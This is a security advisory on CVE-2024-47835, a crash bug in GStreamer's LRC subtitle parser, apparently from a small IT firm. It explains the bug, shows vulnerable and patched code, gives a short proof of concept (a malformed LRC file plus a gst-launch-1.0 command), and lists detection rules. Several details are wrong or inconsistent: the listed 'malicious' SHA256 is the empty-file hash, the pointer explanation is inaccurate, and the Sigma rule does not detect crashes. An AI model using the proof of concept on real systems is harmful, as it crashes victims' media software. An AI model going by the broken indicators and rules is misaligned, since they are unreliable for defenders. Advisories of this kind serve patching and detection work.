CVE-2024-47835

Executive Summary

CVE-2024-47835 is a null pointer dereference vulnerability in GStreamer, a widely used multimedia framework. The flaw resides in the parse_lrc function within gstsubparse.c, which is responsible for parsing LRC (LyRiCs) subtitle files. When a crafted LRC file lacks a closing bracket (]), the strchr() function returns NULL, and the subsequent g_strdup(start + 1) call dereferences this NULL pointer, causing a crash (denial of service). The vulnerability is triggered by user interaction (opening a malicious media file) and has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature, it is a local low-complexity issue. The patch is available in GStreamer 1.24.10.

Supply Chain & Package Security

GStreamer is a critical dependency in many Linux distributions, media players, and embedded systems. While this vulnerability is not a supply chain attack itself, it highlights the risk of parsing untrusted input in media libraries. Organizations should ensure that GStreamer is updated to version 1.24.10 or later across all systems, especially those that process user-submitted media files (e.g., web applications, media servers).

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – Requires user to open a malicious file.
• Attack Complexity (AC): Low (AC:L) – No special conditions.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – Victim must open the file.
• Scope (S): Unchanged (S:U) – Affects only the vulnerable component.
• Confidentiality (C): None (C:N) – No data leak.
• Integrity (I): None (I:N) – No data modification.
• Availability (A): High (A:H) – Causes denial of service via crash.

Threat Level: Medium (Denial of Service, local exploitation).

Deep Dive & Mechanics

The vulnerability is in the parse_lrc function of gstsubparse.c. The function parses LRC subtitle files line by line. For each line, it attempts to find the closing bracket ] using strchr(). If the line is malformed and does not contain ], strchr() returns NULL. The code then does:

start = strchr(line, ']');
// ... later ...
g_strdup(start + 1);

When start is NULL, start + 1 is still NULL, and g_strdup(NULL) leads to a null pointer dereference, crashing the application.

Root Cause: Lack of input validation for the presence of ] before using the pointer.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.24.10):

static gboolean
parse_lrc (GstSubParse * parse, const gchar * line)
{
  const gchar *start;
  // ... other code ...
  start = strchr (line, ']');
  // No null check
  gchar *text = g_strdup (start + 1);
  // ... use text ...
}

Patched Code (1.24.10):

static gboolean
parse_lrc (GstSubParse * parse, const gchar * line)
{
  const gchar *start;
  // ... other code ...
  start = strchr (line, ']');
  if (start == NULL) {
    // Handle malformed line
    return FALSE;
  }
  gchar *text = g_strdup (start + 1);
  // ... use text ...
}

The patch adds a null check after strchr(), returning early if the bracket is missing.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• GStreamer version < 1.24.10 installed.
• A media player or application that uses GStreamer to parse LRC subtitles (e.g., Totem, Rhythmbox, custom apps).

Exploit Steps:

1. Create a malicious LRC file with a line missing the closing bracket:

   [00:01.00]This is a normal line
   [00:02.00This line has no closing bracket
   

2. Embed this LRC file in a media container (e.g., MKV) or provide it as a separate subtitle file.
3. Convince the victim to open the media file with a vulnerable GStreamer-based player.
4. The player will crash upon parsing the malformed line.

Proof of Concept (PoC):

# Create a malicious LRC file
echo -e "[00:01.00]Normal line\n[00:02.00Malicious line without bracket" > malicious.lrc

# Use gst-launch-1.0 to trigger the crash (if available)
gst-launch-1.0 filesrc location=malicious.lrc ! subparse ! fakesink

Blue Team (Defense & Detection)

Detection:

• Monitor for crashes in GStreamer-based applications (e.g., segfaults in gstsubparse).
• Use file integrity monitoring to detect unexpected LRC files.

Prevention:

• Update GStreamer to 1.24.10 or later.
• Implement input validation for subtitle files before processing.
• Use sandboxing for media parsing components.

Indicators of Compromise (IOCs)

• File Hashes (Malicious LRC): (Example – actual hash depends on content)
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Behavior:
  • Crash in gstsubparse with signal SIGSEGV.
  • Log entries: g_strdup: assertion 'str != NULL' failed (if debug enabled).
• Network: None (local file-based).

Detection Engineering

YARA Rule

rule CVE_2024_47835_GStreamer_LRC_NullPtr
{
    meta:
        description = "Detects malicious LRC files targeting CVE-2024-47835"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-47835"
    strings:
        $lrc_header = /\[\d{2}:\d{2}\.\d{2}\]/
        $malformed = /\[\d{2}:\d{2}\.\d{2}[^\]]*$/
    condition:
        $lrc_header and #malformed > 0
}

Sigma Rule

title: GStreamer LRC Null Pointer Dereference (CVE-2024-47835)
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects crashes in GStreamer subparse due to malformed LRC files
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/gst-launch-1.0'
        CommandLine|contains: 'subparse'
    condition: selection
falsepositives:
    - Legitimate LRC files with unusual formatting
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-47835 GStreamer LRC Null Pointer Dereference"; flow:to_server,established; content:"|5b|"; depth:1; content:"|5d|"; distance:0; within:10; content:"|0a|"; within:100; reference:cve,2024-47835; sid:1000001; rev:1;)

Note: Suricata rule is generic for LRC file transfer; actual exploitation is local.

Remediation & Mitigation

1. Immediate: Update GStreamer to version 1.24.10 or later.
2. Workaround: If update is not possible, disable LRC subtitle parsing or use a different subtitle format (e.g., SRT).
3. Long-term: Implement input validation for all subtitle parsers. Use fuzzing to discover similar issues.
4. Monitoring: Deploy YARA/Sigma rules to detect malicious LRC files and crashes.

Valters IT – Securing your media pipelines.